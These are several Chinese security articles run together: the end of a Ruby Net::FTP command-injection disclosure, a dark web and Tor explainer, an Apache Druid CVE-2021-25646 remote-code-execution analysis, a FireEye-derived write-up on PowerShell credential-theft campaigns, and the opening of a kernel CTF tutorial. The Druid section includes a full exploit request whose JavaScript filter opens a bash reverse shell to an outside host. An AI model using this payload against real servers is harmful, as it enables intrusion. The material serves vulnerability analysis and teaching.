我们在发现问题之后不久就向Ruby团队报告了这个漏洞。反应非常好，漏洞在几个小时内得到修复。
Ruby团队只是用`File.open`函数替换了`open`函数，而`File.open`函数不容易受到命令注入的影响。
该修复包含在Ruby [2.4.3版](https://www.ruby-lang.org/en/news/2017/12/14/ruby-2-4-3-released/)的稳定版本中。漏洞也被分配了[CVE-2017-17405](https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/)的CVE编号。
以下版本的Ruby都受到此漏洞的影响：
* Ruby 2.2系列：2.2.8及更早版本
* Ruby 2.3系列：2.3.5及更早版本
* Ruby 2.4系列：2.4.2及更早版本
* Ruby 2.5系列：2.5.0-preview1
* 在主干修订版r61242之前
## 结论
系统卫生（短暂性，不变性，修补等）是安全系统的基础。
围绕被修补的漏洞进行安全和开放的交流可以提高对我们对整个计算生态系统的类似弱点的认识。您可以认为这是我们对各类漏洞的免疫力进化，从而保护我们的基础架构。
在Heroku，我们密切关注安全研究和漏洞披露。我们对漏洞进行安全讨论中的信念和投资有助于确保我们的软件保持最新，并保护我们的客户。
补丁管理是安全生命周期的组成部分，不能仅仅是应用补丁的静态过程。查看并理解修补漏洞的原理可以帮助识别受影响软件中的新漏洞（甚至在完全不同的软件包）。我们密切关注安全研究和漏洞披露，确保我们的软件保持最新状态，并保护我们的客户。 | 社区文章 |
# 密码朋克的社会实验（一）：开灯看暗网
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
……
2018年3月8日，某视频网站800余万用户数据在暗网销售
2018年8月1日，某省1000万学籍数据出现在暗网
2018年8月28日，某酒店集团5亿数据疑似在暗网出售
……
本年度最严重的几次数据泄漏，都指向了同一个词——「暗网」。在中文的语境里，这是一个犹如「月黑风高夜」般的词汇，透着诡秘和犯罪的气息。而与「暗网」关系最密切的另一个词，则非「黑客」莫属。「黑」与「暗」的组合，意味着高超的匿名和隐身技巧，令人忍不住想揭开它精巧的面纱。
## 暗网是什么
要解释暗网，先给整个互联网做一个简单的分层定义，如图：
图片来源网络
表网（Surface Web）
通常认为，普通用户或者搜索引擎能直接访问的内容属于表网。表现形式为网页或者 APP 提供的内容。
深网（Deep Web）
指不能被标准搜索引擎检索到的网络数据。通常是存储在各公司或组织的数据库中，需要用专有的接口查询或干脆不对外查询，例如 Google
的后端数据库。深网数据量远大于表层网络，犹如海面和大海的关系。
暗网（Dark Web）
需要通过特殊的加密通道访问的网页或数据。暗网通常具有匿名的特性，既保证访问者的匿名，同时也保证服务提供者的匿名。因此，其中充斥着各种犯罪信息和违法交易（枪支、毒品、色情、暴恐、黑客等）。
暗网有多个不同的实现版本，下文我们说暗网特指「Tor 网络」。
网络上有些说法说暗网远大于表层网络，其实很不严谨，是把深网和暗网混为一谈了，真实的暗网只有一小部分人使用，远小于大众使用的表层网络。
## 谁创造了暗网
### ➢ 密码朋克
故事要从90年代的一个极小众群体说起——「密码朋克」。这是一个由顶尖数学家、密码学家和程序员组成的群体，他们关注「匿名、自由、隐私」，其中许多人抱着自由主义和无政府主义的理念，并在美国掀起了「加密无政府主义运动」，他们以密码学和互联网为武器，与强权展开直接对抗。
正是这群人，创造了许多加密技术和协议，也奠定了互联网的许多底层技术和通信协议，从加密邮件到 HTTPS，从 RSA 到区块链，等等等等。
图片来源网络
### ➢ 国外政府部门
花开两朵，密码朋克们希望保护自己的信息和隐私不被政府获取；而政府同样也有这个需求，甚至更强烈得多，因为他们要保证情报的传输安全，同时要保护情报人员传递信息时无法被网络追踪。因此，1995年，美国海军研究实验室也进行了匿名网络的相关项目研究，这也就是暗网的前身。
2004年，「Tor
洋葱网络」正式对外发布，意味着普通用户也可以使用匿名网络技术来保证自己的匿名性。也就代表着「暗网」这个概念正式走向公众。为什么叫洋葱网络，因为其中的通信内容被三重加密，像洋葱一样，剥开一层还有一层。
Tor
网络虽然理论上比较安全，但其中的中转节点是由志愿者部署，如果掌握了其中足够的节点，也是有概率进行完整通信追踪的。而且这毕竟是孵化自美国海军的一个项目，是否有一些精心构造的安全缺陷，难以确认。
## 暗网上的数据泄露
一个能保证访问者和服务提供者都匿名的网络，天生就是法外之地。
因此，各路违法信息交流充斥暗网，尤其是2011年后，由于比特币技术的兴起，暗网终于从「匿名的信息交流」进化到了「匿名的价值交换」阶段，这个颠覆性变革，随着「Silk
Road」的建立（丝绸之路：可以理解为基于比特币的暗网淘宝），掀起了违法交易的高潮。当然，大概同时也掀起了 FBI 相关部门的加班高潮。
很巧的是，同样是2011年底，国内发生了一轮标志性的大规模的用户数据泄漏事件，之后各种数据泄漏就成为了每年的常态。早期此类数据交易往往是黑客私下交易，而近年来逐渐被搬到暗网进行交易。为此，腾讯安全云鼎实验室对暗网的主要交易平台进行了监测，并抽取了近几个月针对国内用户的数据泄漏的情况进行了统计。
可以看到，近期泄漏数据，主要以网购/物流/身份证/酒店/社交帐号数据为主。
## 暗网上的业务
暗网最大的几个市场均在近年被 FBI 捣毁，如 Silk
Road、AlphaBay，因此，2017年来暗网黑市有所收敛，并不如前几年火爆。我们统计了目前存在的几大市场商品分类，可以看出，毒品/药物类还是占据了超过50%的份额，海外使用违禁药物的情形非常严峻，其次是数字商品类，并充斥着各种色情、黑客、枪支、护照、假钞等违法内容。
## 暗网匿名原理
暗网最重要的作用是保证匿名，其匿名性体现在两个方面：
访问普通网站时，网站无法得知访问者 IP 地址。
提供暗网服务时，用户无法得知服务器 IP 地址。
两个能力加起来则保障了暗网用户访问暗网网站时，双方都无法得知对方 IP 地址，且中间节点也无法同时得知双方 IP 地址。
听起来挺科幻的，毕竟我们平时使用的 VPN 等科学上网技术只使用了一层跳板，而 Tor 技术使用了三层跳板。
关于 VPN 的原理，可以参考下图：
VPN 原理图解 | 图片来源网络
下面对暗网匿名原理进行详细解析：
### ➢ 访问普通网站
先来看一个真实访问普通网站的跳转情况：
从上图可以看到，我们使用浏览器访问 google.com，但中间经过了3个节点 IP 地址，分别在匈牙利、西班牙、德国，然后再访问到谷歌的服务器。
Tor 用户针对普通网站访问流程，如下图所示。Tor 网络中的每个节点都是随机选取，且每个节点看到的信息不超过一跳，所以通过网络流量监控嗅探到的 Tor
流量不能同时获取通信两端的 IP
信息；且每一个节点处都是加密形式。这里随机选取的三个节点的功能顺序是：入口节点、中间节点、出口节点；数据流方向为：客户端、入口节点、中间节点、出口节点、WEB
服务器。
Tor
网络有其特有的加密方式—三层密钥加密。三层密钥的建立是在网络请求的初始，当和下一个节点连接时创建一对非对称密钥，三个随机节点共创建了三对密钥并将公钥回传到客户端。数据经客户端三层密钥加密后，进行Tor
网络的传输，每经过一个节点，便解开一层加密，顺序依次为：入口节点解开第一层加密，中间节点解开第二层加密，出口节点解开第三层加密。通过层层加密让流量监控无法嗅探明文数据。
### ➢ 访问匿名网站
先来看一次真实访问匿名网站的跳转情况：
从上图可以看到，我们通过浏览器尝试访问一个奇怪的域名（uffti3lhacanefgy.onion），但和前面普通网站不一样的是，中间经过了6个节点，其中前3个可见
IP，另外3个命名为 Relay，然后再访问到那个奇怪的域名。
这个访问匿名网站的流程比较复杂，在普通互联网上，当我们知道网站域名时，通过 DNS 协议解析到 IP 地址，然后访问。但 Tor 网络域名是 .onion
为后缀，并不是使用普通的 DNS 方式来解析，而是使用下面的方法。
下面我们结合 torproject.org 网站介绍的洋葱服务协议、业界约定俗成的各个环节的名称、及上面的原理图进行 Tor
访问匿名网站的原理复盘。在原Tor网络上增加了承载暗网网址导航功能的目录数据库(DB)，暗网服务器选定的允许与其通信的介绍点(Introduction
point)，及进行两端数据传输的最终会合点(Rendezvous point)。原理图中的每一步连接，都是建立在 Tor
网络的三跳连接之上，杜绝流量监控嗅探到明文数据。下面我们了解一下访问匿名网站的过程。
step 1: 暗网服务器连入 Tor 网络，并隐匿IP信息
这一步是通过介绍点来完成，方法是暗网服务器选取若干节点充当介绍点，建立Tor线路；并以介绍点充当影子功能，隐匿IP信息。
step 2: 暗网服务器通过向目录数据库注册，公示自身的存在
这一步是通过目录数据库来完成，目录数据库收录了各个暗网服务器上传的自身标识（公钥、对应介绍点摘要等），这些标识以自身的私钥签名。暗网服务器的域名(例：uffti3lhacanefgy.onion)由公钥派生。
step 3: 客户端获取暗网网址对应的标识信息，拿到网址对应的公钥与介绍点
这一步是客户端通过Tor线路访问目录数据库拿到的结果，此外还进行标识的篡改验证。
step 4: 客户端随机选取节点构建会合点，为后续与暗网服务器传输数据做准备
这一步是会合点的生成，除为选取的会合点创建Tor线路外，同时会合点还会收到一次性「验证信息」，用来校验暗网服务器。
step 56: 客户端通过介绍点，通告暗网服务器会合点的地址和「验证信息」
这一步的核心是让暗网服务器知道会合点的存在，媒介是客户端在目录数据库中获取到的对应暗网网址的介绍点，同时传递了后续用来对接验证的「验证信息」。
step 7: 暗网服务器通过Tor线路连接会合点，最终与客户端达成数据传输
这一步暗网服务器也通过Tor线路与会合点建立连接，但两端还未达成真正的通信，必须进行「验证信息」的核实，当真正验证成功后，才能达成真正的通路。
经过以上复杂流程，客户端和暗网服务器建立通信成功，形成一个上面截图的六跳连接，并成功保证了双方的匿名性。
## Tor 网络节点
从前面可以看到，暗网的匿名性基于其众多的节点，但如果部署足够多的节点，是否就能探测到双方的 IP 地址和通信数据呢？先来看看暗网节点的情况。
### ➢ 节点介绍
暗网节点一共分为以下3类：
1、入口节点/中间节点
入口节点和中间节点没有本质的差别，通常各 IDC
运营商都允许服务器被部署为入口节点和中间节点，新节点上线只能是中间节点，当稳定性和带宽都比较高时，才允许被升级为入口节点。
2、出口节点
出口节点从技术上看和入口节点一样，但通常 IDC
运营商是不允许服务器部署出口节点的，因为如果引发了犯罪行为，由于无法进行往回追踪，会导致运营商背锅。因此，出口节点通常是学术机构、ISP、科研单位、公共图书馆等才会部署。
3、网桥
由于入口节点是公开的，因此很容易被封锁。为了保证这些地区的人也能访问 Tor
网络，还存在一个秘密的入口列表，称之为网桥节点。这个秘密列表每次只可以查询到3个入口节点，通过一些机制保证不能简单被遍历，以此来对抗封锁。
### ➢ 节点数据
截止当前，目前运行的 Tor 节点数量大概有7500，普通节点大约6500，网桥节点接近1000。
普通节点中，入口节点（Guard）大约2400，出口节点（Exit）大约800多。
从这个数据来看，假设我们在「入中出」三类节点中各有一台机器，能检测到完整数据的概率大约是 1/(3400 800 3300) =
1/8976000000。大约是九十亿分之一。
其中大多数节点主要分布在欧美国家。
### ➢ 节点详情
完整的公开节点列表可以在以下网址查询到 <https://torstatus.rueckgr.at/> 云厂商可以根据这个列表进行自查。
（部分节点详细数据）
## Tor 用户
全球每天使用 Tor 网络的用户基本稳定在200万人，相对于数十亿的互联网用户，其实非常小量，而其中访问暗网匿名网站的用户更是其中的一小部分。
暗网用户分布国家 TOP10。
## 其它平行网络
前面说过，Tor 网络只是暗网的一个实现版本，其他的还有 Freenet 和 I2P 网络，但用户量远远低于 Tor，因此仅作了解就好。
近年来由于区块链技术的发展，又出现了一种基于区块链技术的分布式匿名网络，其典型例子是 ZeroNet（零网）。
具体用法可以参见官网，[https://zeronet.io，](https://zeronet.io%EF%BC%8C)
用来搭建自己的网站，不但匿名，甚至无需服务器。
写在最后：
技术本身是中立的，尤其是在密码学的领域，一方面保障着整个互联网的安全和信任基础，一方面也包庇了暗网下的种种犯罪。Tor
网络也一样，一方面为大众提供了一种安全的匿名方案，一方面也为非法交易提供了温床。阴阳总是交融地存在，所幸黑色领域终究是少数，如何将黑色领域尽量压缩，道阻且长。
揭开了暗网的面纱，本系列下一篇，将用最科普的方式，继续讲述暗网背后的密码学原理。
参考资料：
[1] Tor: Overview
<https://www.torproject.org/about/overview.html.en>
[2] Tor: Onion Service Protocol
<https://www.torproject.org/docs/onion-services>
[3] Tor: Relays and bridges
<https://metrics.torproject.org/networksize.html>
[4] Tor: Relays by relay flag
<https://metrics.torproject.org/relayflags.html>
（部分图片来源网络）
腾讯安全云鼎实验室
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
# CVE-2021-25646 Apache Druid 远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前置知识
### Druid
Apache Druid 是用 Java 编写的面向列的开源分布式数据存储， 通常用于商业智能/ OLAP 应用程序 中，以分析大量的实时和历史数据。
Druid提供了JavaScript引擎用来扩展Druid的功能，值得注意的是，Druid的JavaScript不在沙盒中运行，而对机器有完全的访问权限，同时支持运行原生java语句，存在安全性问题，所以默认被关闭了。
见<https://druid.apache.org/docs/latest/development/javascript.html>
### Jackson
Jackson是一个非常流行且高效的基于Java的库，用于将Java对象序列化或映射到JSON和XML，也可以将JSON和XML转换为Java对象。在Druid也有对其的依赖。
在这个漏洞中利用了Jackson的一个（ ~~特性~~ ）BUG
这个Bug出在Jackson的两个注释上
1. [@JsonCreator](https://github.com/JsonCreator "@JsonCreator")在于对用JsonCreator注解修饰的方法来说，方法的所有参数都会解析成CreatorProperty类型，对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty，在用户传入键为””的json对象时就会被解析到对应的参数上。
2. [@JacksonInject](https://github.com/JacksonInject "@JacksonInject")
假设json字段有一些缺少的属性，抓换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值，这时候我们就可以用到这个注解了，它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值。
具体可以编写下面的示例代码
package com.example.demo;
import com.fasterxml.jackson.annotation.JacksonInject;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class DemoApplication {
public static void main(String[] args) throws JsonProcessingException {
String json= "{\"name\":\"Jack\",\"\":\"Nofield\"}";
ObjectMapper mapper = new ObjectMapper();
Student result = mapper.readValue(json, Student.class);
System.out.print(mapper.writeValueAsString(result));
}
}
class Student {
@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject String id
){
this.name=name;
this.id=id;
}
private String id;
private String name;
public String getName() {return name;}
public String getId() {return id;}
public void setId(String id) {this.id = id;}
}
运行输出
{"name":"Jack","id":"Nofield"}
可以看到`json`串中键为空的值被赋值到了`id`属性上,这是因为`JsonCreator`给`id`设置的键为空，`JsonInject`将`json`串中空键对应的值`Nofield`赋给了`id`
## 环境搭建
这里通过`idea`进行远程调试
在官网下载编译好的版本`19.0`
<https://mirrors.bfsu.edu.cn/apache/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz>
并在github上下载版本对应的源码
<https://codeload.github.com/apache/druid/zip/druid-0.19.0>
此处我们要调试的`druid`的`coordinator-overlord`模块，使用最小快速启动方式
/apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord
在`jvm.config`最后加上
-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
在`idea`中加上远程调试配置
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
运行服务端程序
./bin/start-micro-quickstart
就可以开始愉快地下断点调试了
## 漏洞分析
### 寻找漏洞点
在`druid`官网关于`javascript`的利用中我们可以找到filiter中的利用<https://druid.apache.org/docs/latest/querying/filters.html#javascript-filter>
可以找到网页上的相关功能点，抓包如下
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 11180
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "",
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": [],
"filter": {
"type": "selector",
"dimension": "1",
"value": "1"
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
通过分析数据包结构，我们找到了`transformSpec`
定位到`filiter`为`DimFilter`类，
同文档中描述的那样`filiter`支持`javascript`
于是我们定位到
根据前置知识，可以发现此处的`config`可以通过空键值注入，继续跟这个`config`
发现这里设置了`JavaScript`是否被开启，那么我们此处就可以直接绕过限制，开启`javascript`了
## 漏洞复现
我们修改之前发过的`post`构造一个filiter，就可以完成RCE了,
"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
这里直接写java反弹shell语句
完整报文
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 992
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
具体`json`转换过程可以`com.fasterxml.jackson.databind.deser.BeanDeserializer`的`_deserializeUsingPropertyBased`定位到
此时对`propName:spec`进行反序列化，不断断点跟踪，可以看到反序列完空键值对应的键后，`config.enabled`被赋值为`true`
绕过此处限制
成功运行`poc`
接收到shell
## 修复思路
官方的修复思路是在任何情况下都不允许空键值被传入赋值，重写了方法`findPropertyIgnorals`
/**
* This method is used to find what property to ignore in deserialization. Jackson calls this method
* per every class and every constructor parameter.
*
* This implementation returns a {@link JsonIgnoreProperties.Value#empty()} that allows empty names if
* the parameters has the {@link JsonProperty} annotation. Otherwise, it returns
* {@code JsonIgnoreProperties.Value.forIgnoredProperties("")} that does NOT allow empty names.
* This behavior is to work around a bug in Jackson deserializer (see the below comment for details) and
* can be removed in the future after the bug is fixed.
* For example, suppose a constructor like below:
*
* <pre>{@code
* @JsonCreator
* public ClassWithJacksonInject(
* @JsonProperty("val") String val,
* @JacksonInject InjectedParameter injected
* )
* }</pre>
*
* During deserializing a JSON string into this class, this method will be called at least twice,
* one for {@code val} and another for {@code injected}. It will return {@code Value.empty()} for {@code val},
* while {Value.forIgnoredProperties("")} for {@code injected} because the later does not have {@code JsonProperty}.
* As a result, {@code injected} will be ignored during deserialization since it has no name.
*/
@Override
public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
// We should not allow empty names in any case. However, there is a known bug in Jackson deserializer
// with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.
// See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array
// deserialization failed even when the array is a valid field. To work around this bug, we return
// an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.
// This is valid because every property with JsonProperty annoation should have a non-empty name.
// We can simply remove the below check after the Jackson bug is fixed.
//
// This check should be fine for so-called delegate creators that have only one argument without
// JsonProperty annotation, because this method is not even called for the argument of
// delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument
// is some Java type that Jackson already knows how to deserialize. Since there is only one argument,
// Jackson perhaps is able to just deserialize it without introspection.
if (ac instanceof AnnotatedParameter) {
final AnnotatedParameter ap = (AnnotatedParameter) ac;
if (ap.hasAnnotation(JsonProperty.class)) {
return JsonIgnoreProperties.Value.empty();
}
}
return JsonIgnoreProperties.Value.forIgnoredProperties("");
}
具体可见
[https://github.com/apache/druid/compare/0.20.0…0.20.1](https://github.com/apache/druid/compare/0.20.0...0.20.1) | 社区文章 |
# 揭秘猖獗的PowerShell数据窃取行动
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.fireeye.com/blog/threat-research/2015/12/uncovering_activepower.html>
译文仅供参考，具体内容表达以及含义原文为准。
系统管理员钟爱的Windows
PowerShell使得用户能够有效地在本地或远程系统上执行自动化管理任务。然而,虽然它易于使用,但是也非常吸引攻击者的目光。
2010年,研究人员就首次展示了针对PowerShell的攻击。而在2011年底,他们制作出了更复杂精妙的PowerShell的攻击方法和工具包。渐渐地,PowerShell开始被当做恶意软件使用,尽管在当时,它只是在攻击期间被用于完成某些中间步骤。我们已经研究了PowerShell多年了,你可以在这里阅读到更多关于攻击PowerShell的内容。
我们最近在一些数据窃行动中观察到,几乎在所有攻击期间,都会用到简洁高效的PowerShell命令。
比如其中一个——针对目标认证信息的行动——是一个看起来是合法的俄罗斯网站的一个编写精巧的PowerShell脚本导致的。另一个行动,也是针对认证信息的,牵扯一个内容为德语的RTF文件和一个包含一系列PowerShell命令的脚本文件。
在这两个活动中,保护措施和隐蔽措施都做的很到位。
案例分析:一个针对俄罗斯的数据窃取行动
我们曾发现一个不太引人注目的Windows可执行文件会从一个看起来非常正规的域名网站下载一个PowerShell脚本。这个网站的首页是描述军事技术的,不过存储了这个PowerShell脚本,当EXE可执行文件执行时,一条PowerShell命令会下载另一个PS1(PowerShell)脚本并执行。Hidden选项保证了在执行PowerShell脚本时,在PowerShell窗口中不会让受害者明显地察觉。类似的,执行策略也被设置成了不限制,这是为了保证脚本能够如预期效果运行。
图1:下载恶意PowerShell脚本和不受限制模式命令。
密码窃取
在观察这个网站上的74.PS1时,我们观察到一个写得很好的PowerShell脚本明显试图窃取数据。脚本会从受害者机器上的特定目录复制文件,试图想掌握用户的凭证,如下面图2所示,脚本试图从Chrome目录下复制包记录有用户名和密码的”Login
Data”文件。
图2:从受害者的系统中复制已知的凭证文件的命令
系统监视
这个脚本也会获取系统的元数据(例如,受害者的用户名,防火墙状态和配置细节,还有内存和硬盘大小等),将其转换为HTML页面如图3所示。
图3:命令转储系统元数据到HTML文件中
数据窃取
恶意软件将窃取到的数据打包成一个ZIP文件,如图4所示。
图4:将数据压缩到一个存档
一旦数据被亚索,被盗的数据就可以通过SMTP相关指令发送到恶意软件作者手中。要发送它,需要一个电子邮件地址和密码作为参数传递。在分析恶意脚本时,我们可以看到这些数据。
图5:恶意软件通过电子邮件发送被盗数据的命令
当恶意软件终止运行,它会生成一个加密报告,标题为“My test report”,审查其中的内容发现数据进行了加密,如图6所示。
图6:一段加密的被盗信息
被盗数据的解密
作为一个附加保护层,你可以在图7中看到,恶意软件作者已经在这个PowerShell脚本中实现了RC4算法,并且把整个ZIP都进行了加密处理。
图7:在PowerShell中实现的RC4算法
由于恶意软件对数据进行了加密,所以不能使用任何公共秘钥进行解密,不过它对RC4密钥可见。这可从图8中看到,最终可以让这个附加保护措施失效。
收集资料分析
我们使用了硬编码来解密这个ZIP文件,并解压缩了这个恶意软件收集的信息,结果如图9所示。
图9:解密和解压缩后的数据
这个”Chrome”文件包含了谷歌浏览器的登录表信息。“CompInfo”HTML文件包含了受害者的元数据。如图10所示。
图10:包含被窃取的系统信息数据HTML
这个CREDHIST文件是证书管理的一个组成部分,这也是从窃取来的数据中观察到的。CREDHIST文件包含了最近或老的账户凭据。
图11:被盗的CREDHIST文件
研究案例二:德国/奥地利的数据窃取行动
我们在德国和奥地利发现了一样个包含德语内容的RTF文件。RTF下载并启动一个驱动,导致一些列的PowerShell命令被有效地执行。在这种情况下,PowerShell还进行了虚拟化检测。
虚拟机检测
如图12所示,通过获取进程,检索所有正在运行的进程列表。恶意软件会在这些进程中检索所有与诸如VirtualBox、VMware和Parallels相关的服务。如果找到,那么就会在控制台中打印出来。
图12:PowerShell脚本检索与虚拟化程序相关的进程
如果计数大于0,那么就表明恶意软件运行于虚拟环境中。然而,仅仅在控制台输出并没多大作用——他们将真正用到这些数据。使用CONOUT参数,可以将信息传递到可执行文件中。根据这些输出的信息,可以决定行动是否应该继续或者结束。
感染技术估值29000
通过访问一个计数网站,这个恶意软件达到攻击数量计数的功能。
图13:脚本跟踪感染计数
到目前为止,它已经被访问了29245次,不过这并不代表有29245个系统被感染了,还有一些可能是来自网络安全研究人员。
图14:感染计数
在虚拟化的检查和跟踪之后,恶意软件开始窃取数据。恶意软件使用PowerShell去迭代扒取一些尽可能获取的本地数据,如本地存储的Cookies之类的,并保存到文件“ftshvc.txt”中。
窃取数据命令
图15:扒数据到一个文本文件
然而,这个作者也并不是对所有数据都感兴趣。他通过搜索字符串来对这些窃取过来的数据进行了一个优先级的排列。通过搜索包含诸如Facebook信息、银行信息,比如“bankaustria.at”和“credit-suisse.com”(一个瑞士银行网站)等。被盗数据的优先级显示在图16中。
图16:通过脚本计算特定被盗的数据计数
为新的木马造路
完成数据窃取后,PowerShell脚本所做的将是为了新的有效载体:dofoil(又是一个,PowerShell命令用于从恶意软件的网站上下载一个文件并通过ShellExecute命令运行)。这有效地关闭了PowerShell的数据窃取周期,并驻入一个新的载荷,它将连接到CNC服务器并执行其他的恶意命令。
图17:下载并执行新的有效载荷脚本
更多逃避技术
除了反虚拟机技巧,恶意软件同样要使用PowerShell的一些其它功能,比如使用混淆编码。例如,下面显示的三个命令将启动记事本。
图18:通过PowerShell,使用三种不同的方式打开记事本
如一个正常的命令行终端,如果字符串被分解成银行,则是没有问题的。即使Notepad被打成了”note””pad”,PowerShell都可以正确执行。
此外,PowerShell提供了一个-ENC(编码指令开关),能使用户/攻击者基于Base64 Evasion 进行编码。
一下是从一个恶意软件观察到的PowerShell指令,它使用一个-ENC隐藏开关,首先让系统睡眠,然后再连接到所需的链接(另一种逃避技术)。
图19:PowerShell在隐藏模式执行脚本
解密后的PowerShell真面目。
图20:通过解码后的脚本可以看到调用睡眠并连接到一个链接
通过引用混淆躲藏
在下列情况下,当一个Word宏被执行,它将启用一个PowerShell脚本,再通过这个脚本去启用一个VB脚本。
该恶意软件作者破开了扩展名如“V”+”bs”。被同样地专递进了参数中,这是作者试图绕过后缀名检测的另一个尝试。
图21:混淆引用,逃避明文字符串检测
编码和混淆的逃避手法也被观察到的邮件钓鱼的附加文件中发现到了,也是使用了PowerShell。
结论
PowerShell是现在常用的攻击手法。使用PowerShell的,特别是在企业环境中,应该严格监控和调节,并增强日志检查。由于PowerShell可以进行编码和模糊数据,所以安全团队应该意识到PowerShell可以被恶意使用,并且学习和接受PowerShell攻击培训。 | 社区文章 |
# Kernel pwn CTF 入门 - 2
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 接上文[ Kernel pwn CTF 入门 – 1](https://www.anquanke.com/post/id/255882)
## 四、小试牛刀
> 这里选用 CISCN2017_babydriver 作为笔者入门的第一题。之所以选用这一题是因为网上资料较多，方便学习。
### 1\. 题目附件
题目附件可在[此处](https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/kernel/CISCN2017-babydriver/babydriver.tar)下载。
题目给了三个文件，分别是：
* boot.sh 启动脚本
* bzImage 内核启动文件
* rootfs.cpio 根文件系统镜像
### 2\. 尝试执行
初始时，直接解压 `babydriver.tar` 并运行启动脚本：
# 解压
mkdir babydriver
tar -xf babydriver.tar -C babydriver
# 启动
cd babydriver
./boot.sh
但 KVM 报错，其报错信息如下所示：
Could not access KVM kernel module: No such file or directory
qemu-system-x86_64: failed to initialize kvm: No such file or directory
使用以下命令查看当前 linux in vmware 支不支持虚拟化，发现输出为空，即 **不支持** 。
egrep '^flags.*(vmx|svm)' /proc/cpuinfo
检查了一下物理机的 Virtualization Settings, 已经全部是打开了的。再检查以下 VMware 的CPU配置，发现没有勾选 `虚拟化
Intel VT-x/EPT 或 AMD-V/RVI`。
勾选后重新启动 linux 虚拟机，提示`此平台不支持虚拟化的 Intel VT-x/EPT`……
经过一番百度，发现是 Hyper-V 没有禁用彻底。彻底禁用的操作如下：
* 控制面板—程序——打开或关闭Windows功能，取消勾选Hyper-V，确定禁用Hyper-V服务
* **管理员权限** 打开 cmd，执行 `bcdedit /set hypervisorlaunchtype off`
> 若想重新启用，则执行 `bcdedit /set hypervisorlaunchtype auto`
* 重启计算机
之后再启动 linux in Vmware，其内部的 kvm 便可以正常执行了。
### 3\. 题目分析
**a. 目的**
* 查看一下根目录的 `/init` 文件，不难看出这题需要我们进行 **内核提权** ，只有提权后才可以查看 flag。
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag # flag 被设置为只有 root 可读
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko # 加载漏洞驱动
chmod 777 /dev/babydev
